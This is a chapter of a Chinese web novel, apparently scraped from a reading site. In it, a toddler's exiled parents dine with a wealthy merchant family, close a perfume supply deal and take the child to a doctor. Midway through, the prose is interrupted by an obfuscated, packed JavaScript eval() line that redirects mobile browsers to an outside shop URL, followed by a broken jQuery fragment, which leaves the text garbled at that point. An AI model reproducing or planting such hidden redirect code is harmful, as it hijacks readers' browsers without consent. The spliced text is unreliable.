韫姐儿一听小胖墩竟然还敢拦着自己,争强好胜的心立马起来,只一味地指着门口。
走,现在就走!
她倒要看看这小胖墩能奈她何?
小胖墩齐豫已经哭得不知天地为何物了,齐家父母也不是不讲道理的,可面对啼哭的孩子再多的矜持也没了,只好客客气气地问邓家夫妻俩能否赏脸,一道吃个便饭。
齐豫哭声一收,期待地看着韫姐儿。
韫姐儿偏不让他如意,固执地要回去,她爹不应,她就狠狠地拍脸,拍得邓观脸都扭曲了。
可惜韫姐儿就是吃了不会说话的亏,邓观跟赵玉真迟疑了一会儿,竟然还是同意了。
韫姐儿握紧拳头,立马给了她爹一拳。
她还没同意呢?
“韫姐儿乖,待会儿给你吃好吃的。”
韫姐儿一愣,吸了一鼻子,口水瞬间又止不住了。
邓观下一刻就掏出帕子给女儿擦干净口水。
齐豫见他们一家人不走了,又哭又笑,甚至乐出了一个鼻涕泡。很快他也被奶娘抱了起来,跟在韫姐儿他们后面。他比韫姐儿大了两岁,平时也是个好面子的小公子,这会儿在众人面前哭出来很是不好意思,时不时盯着韫姐儿,生怕韫姐儿笑话她。
可韫姐儿压根看都没看他一眼,她趴在邓观肩上,只一味地想着自己今儿能吃到什么。
邓观察觉到自己肩上一凉后,头皮都麻了。
幼年穷苦时邓观是没办法体面,后来做了官,他身上压根见不得一丝脏污,只是如今却讲究不上了。
邓观无奈地调整了一下姿势,将韫姐儿重又抱进怀里:“你就不能让你爹我穿一天的干净衣裳?”
韫姐儿贼兮兮地望了一眼自己的口水印,知道自己做错了事,不吱声也不闹腾了,乖乖靠在她爹怀里装无辜。
这边赵玉真已经跟孙夫人聊得火热。
孙夫人比赵玉真年岁稍长,膝下只有齐豫这一个孩子,她也是富商人家养出来的女儿,夫君齐渊更是西北第一富商,人脉遍布整个西域,在大梁各地都有商铺酒楼,说一句富可敌国也不为过。
齐家在灵州州城也有府宅,夫妻俩方才为了哄儿子,本想去二楼随意点几个菜,后来听邓观夫妻俩自报家门,立马知道了这两人的身份,遂请他们俩去自家吃酒。
邓观临走前还让人给徐茂公带了话,让他不必等自己。
到了齐家,韫姐儿这个没见过什么世面的再次震惊了。今日去了酒楼参加商会,对韫姐儿来说便是开了一次眼界,如今到了齐家,更觉得眼睛都望不过来了。
他们家几时也能有这样的宅子呢?韫姐儿漫无目的地想着。
进了大堂入座,赵玉真仍在跟孙夫人聊天,邓观却一心一意照顾女儿。
惦记了这么久的羊奶,韫姐儿今日终于喝上了。
邓观没有提,是齐家丫鬟看到韫姐儿的奶壶空了,这才吩咐厨房备上羊奶。邓观怕羊奶味重,韫姐儿会不喜欢,可到手之后一闻,不仅没有膻味,还带着淡淡的茉莉香跟杏仁香。
跟玉真从前爱喝的口味差不多。
韫姐儿刚喝到嘴里便瞪大了眼睛,随即扒着邓观的手,喝得像头小猪。
齐豫蹲下身子托着脸,目不转睛地看韫姐儿吃东西,他觉得这小家伙可有意思了,不仅脾气大,吃东西也很香,很有活力。齐豫有几个庶出的姐姐,但妹妹却一个也没有,昨儿看到韫姐儿,他便觉得这个小孩儿长得可爱又有趣,生气的模样灵得很,私心里很想把人留下来作伴。
奶娘在旁边间或喂着饭,趁齐豫心思全在那小姑娘身上,奶娘让人偷偷在碗里放了许多叶菜,混着些肉沫跟饭喂到嘴里,小公子也没注意。
阿弥陀佛,总算能吃口菜了,今日多亏了这小姑娘。
赵玉真等铺垫得差不多,这才跟齐家夫妻二人说起了香水的事。香水如今也有,但技术没有本土化,所以一瓶难求,价值千金。
其实这香水跟制白酒用的法子都是蒸馏法,稍微变通一下就行,只要技术能够落地,其他的就不成问题。至于造价高,同样的售价也不低,其中的利润还是相当可观的。
赵玉真今日同那些商人唯一没谈拢的地方在于,她除了要一笔卖方子的钱做启动资金外,还要供货权。她要做五年以内的唯一供货方,至于五年以后,西北一带的供货方还得是她,其他地方不论,全看五年后的市场有多大。
这就让先前与她洽谈的商人很不满,他们宁愿把卖方子的价格开高一些,也不要如此被动,哪怕只有五年。
同样的,齐渊也觉得这生意不太合算,因而并不太插嘴,只有他夫人聊得尽兴。
与夫人相比,齐渊反而像被冷落的那个,他也想寻个人说话,但看邓观一直在带女儿,也不好凑过去打扰。
不过,这个邓相公跟他想象中的还真不一样。从前的邓相威名远扬,哪怕如今流放了,朝中还有一群人在为他摇旗呐喊的。
赵太师被杀那是猝不及防,皇上直接判了斩立决,从抄家到斩杀,中间不过半日功夫。邓观跟一众赵太师弟子都还没来得及运作,人就没了。等到了邓观,情况便好上许多,否则以皇上的心眼儿他怕是也得死。
不过世事难料,听说如今邓观一家已经跟州衙有了联系,说不得日后还能东山再起。
那边孙夫人斟酌过后,竟然直接拍板同意了:“你若是真能做好原料供应,品质不出问题,这门生意我便应下了。”
赵玉真心中一喜,斟满酒盏敬了这位女中豪杰:“夫人放心,我如今落难更不会自废武功。这香水生意,于夫人而言只是锦上添花,于我来说却是绝地求生。”
赵玉真比谁都想这门生意长长久久。
孙夫人会心一笑,放心地同赵玉真碰了碰杯。
她请这对夫妻俩入府,可不只是因为疼小儿子。这夫妻俩落难之前都是高门显贵,他们家才又在京城盘了七间铺子,往后还想继续扩大京城的生意。可京城那样的地方,处处都要顾及着人情往来,利益纠纷,若没有一个指路人,纵然他们家有万贯家财也施展不开。
同赵玉真打好关系,对孙夫人来说有利无害。
一顿饭宾主尽欢,韫姐儿喝饱了香喷喷的奶,并没有计较自己没吃上肉。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17900535|212920||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
吃饱喝足后,齐豫那小胖墩又想找韫姐儿玩,哪怕韫姐儿也只会冲他翻白眼,齐豫都能巴巴地黏上来。
不过韫姐儿对他记恨着呢,她不喜欢比她有钱、比她派头大的人,哪怕齐豫一直在耍宝,韫姐儿也懒得给他什么眼神,最后直接闭着眼睛装睡,装了没多久,便真的睡过去了。
赵玉真陪着孙夫人聊了半天京城各家的情世故跟关系往来,过了一个时辰才终于请辞。
齐豫又不同意,立马要哭闹。
齐渊皱了皱眉,轻骂了两句。孙夫人也没再由着他,只说:“过些日子咱们得去你小妹妹家看看,你若是再闹,回头不带你去。”
齐豫讪讪地闭上了嘴。
韫姐儿一路好眠,可怜邓观抱得胳膊都断了。等她醒来时,韫姐儿迷迷糊糊地嗅了两下,闻到了药香后立马清醒,生怕他们要偷偷给自己喂药。
惊醒后才发现,看病的是她娘亲。
邓观看韫姐儿醒来怕她哭,刚说了一句“别闹”,就发现韫姐儿这回竟然挺乖的,似乎是在听大夫的话。
大夫诊脉过后交代了许多,赵玉真先前在流放路上受了不少罪,身体亏空了许多,生女儿时也要了半条命,后面虽然养了两个月,但白天也得干活。
大夫给来了不少补药,考虑到他们穿着普通,也没敢给开更贵的,只说:“这药你回去,平日里饮食也多注意,勿食生冷,药吃完了再来瞧瞧。”
赵玉真应下不提。
邓观又顺势将女儿抱过来给大夫看:“劳烦您帮忙看看,我们家姐儿有没有小毛病。”
老大夫方才就盯着韫姐儿看了好几眼,这回到了自己眼前,立马眉开眼笑地拧了两下腮帮子,不出意外地换来韫姐儿的怒视。
老大夫笑呵呵地又给看了一眼:“没什么毛病,只是比寻常五个月大的孩子重了些。”
“超重了?”赵玉真紧张起来。
大夫点头:“得克制些饮食了。”
韫姐儿哇哇地反驳着,她长这么大都没吃过一口饭,哪里重了?!
不管韫姐儿怎么反驳,赵玉真已经打定主意要管一管了,他们夫妻俩也是头一回养孩子,孩子一哭就想着喂奶,如今才知奶喂多了也不是好事。
不能再惯着韫姐儿了。
出了药房,韫姐儿还在观察爹娘,今日这件事可关系到她日后的口粮,爹娘可千万不能被那老大夫给蛊惑。无奈她道行太浅,她爹娘又是个喜怒不形于色的,根本看不出想法如何,韫姐儿只能遗憾作罢。
反正她奶瘾上来就哭,不给就闹,爹娘肯定还是会给她的。
当天晚上,徐茂公过来问了结果,得知生意谈成了他还有些惊讶,听赵玉真说后续少不得要他支持,徐茂公摆了摆手:“客气什么,将来还不知是谁帮谁呢。”
他算是看明白了,只要这夫妻俩想做,没有什么是做不成的。
隔日天还没亮,众人便启程回怀远县,足足花了一天的功夫才赶回了家。
李田村村民听到车轱辘声,连晚饭都不吃了,放下筷子就跑出去看围观。
邓家人回来了,是不是那买卖也谈成了?